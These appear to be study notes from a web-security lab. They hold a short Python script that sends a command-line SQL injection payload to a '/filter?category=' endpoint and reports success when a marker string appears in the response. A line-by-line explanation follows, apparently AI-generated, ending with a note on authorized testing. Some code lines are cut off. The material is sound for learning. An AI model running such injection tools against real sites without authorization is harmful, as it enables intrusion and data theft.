Notes(By scripting the attack)

```
import requests
import sys
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWa

proxies = {'http': 'http://127.0.0.1:8080','https': 'http://1



def exploit_sqli(url, payload):
        uri = '/filter?category='
        r = requests.get(url + uri + payload, verify=False, p
        if "Hologram Stand In" in r.text:
                return True
        else:
                return False



if __name__ == "__main__":
        try:
                url = sys.argv[1].strip()
                payload = sys.argv[2].strip()

        except IndexError:
                print("[-] Usage: %s <url> <payload>" % sys.a
                print('[-] Example: %s www.example.com "1=1"
                sys.exit(-1)

        if exploit_sqli(url,payload):
                print("[+] SQL injection successful!")
        else:
                print("[-] SQL injection unsuccessful!")
```

Certainly, let's break down and elaborate on this Python script:

1. **Importing Libraries:**

- ```
  import requests
  import sys
  import urllib3
  ```

  These lines import the necessary libraries.

  - `requests` is used for making HTTP requests.
  - `sys` is used for handling command-line arguments.
  - `urllib3` is used to disable SSL/TLS warnings.

- **Disabling SSL/TLS Warnings:**

- `urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)`

  This line disables SSL/TLS warnings, specifically the `InsecureRequestWarning`. It's common when dealing with self-signed certificates or testing environments.

- **Defining Proxies:**

- `proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}`

  Proxies are defined for both HTTP and HTTPS requests. All traffic will be routed through a proxy running at `http://127.0.0.1:8080`. This can be useful for inspecting and modifying the traffic using a tool like Burp Suite.

- **SQL Injection Exploitation Function:**

Certainly! Let's elaborate on the `exploit_sqli` function:

```
def exploit_sqli(url, payload):
    uri = '/filter?category='
    r = requests.get(url + uri + payload, verify=False, pro
xies=proxies)
    if "Hologram Stand In" in r.text:
        return True
    else:
        return False
```

1. **Function Parameters:**
```

- `url`: The base URL of the target web application.
- `payload`: The SQL injection payload to be appended to the URL.

2. **URI Construction:**

- `uri = '/filter?category='`

  This line defines a URI string representing the endpoint where the SQL injection is being attempted. The parameter `category` in the URL is used for the injection.

- **HTTP GET Request:**

- `r = requests.get(url + uri + payload, verify=False, proxies=proxies)`
  - `url + uri + payload`: Constructs the full URL by appending the URI and the provided payload to the base URL.
  - `verify=False`: Disables SSL/TLS certificate verification. This is often done when dealing with self-signed certificates.
  - `proxies=proxies`: Uses the specified proxies for the HTTP and HTTPS requests.

- **Response Analysis:**

```
if "Hologram Stand In" in r.text:
    return True
else:
    return False
```

1. Checks if the string "Hologram Stand In" is present in the response text. If it is found, the function returns `True`, indicating that the SQL injection was successful. Otherwise, it returns `False`.

2. **Return Value:**
   The function returns a boolean value (`True` or `False`) based on whether the specified string was found in the response or not.

In summary, this function performs a simple SQL injection test by sending an HTTP GET request to a target URL with a provided payload. It then checks if the response contains the string "Hologram Stand In" and returns `True` if successful or `False` otherwise. The use of proxies and SSL/TLS certificate verification is optional and depends on the specific requirements of the testing environment.

- **Main Execution Block:**

```
if __name__ == "__main__":
    try:
        url = sys.argv[1].strip()
        payload = sys.argv[2].strip()
    except IndexError:
        print("[-] Usage: %s <url> <payload>" % sys.argv
[0])
#% sys.argv[0]: This is string formatting using the modulo
% operator. Here, %s is a placeholder for a string, and % s
ys.argv[0] substitutes this placeholder with the value of s
ys.argv[0]. sys.argv is a list in Python that contains comm
and-line arguments. sys.argv[0] is the name of the script i
tself.

        print('[-] Example: %s www.example.com "1=1" ' % sy
s.argv[0])
        sys.exit(-1)

    if exploit_sqli(url, payload):
        print("[+] SQL injection successful!")
    else:
        print("[-] SQL injection unsuccessful!")
```

1.

- The script checks if it is being run as the main module.
- It attempts to retrieve the target URL and payload from the command-line arguments.
- If the required arguments are not provided, it prints a usage message and exits.
- It then calls the `exploit_sqli` function with the provided URL and payload.
- Depending on the result, it prints a message indicating whether the SQL injection was successful or not.

Note: SQL injection testing should be performed responsibly, with proper authorization and in compliance with ethical standards. Unauthorized testing can be

illegal and unethical.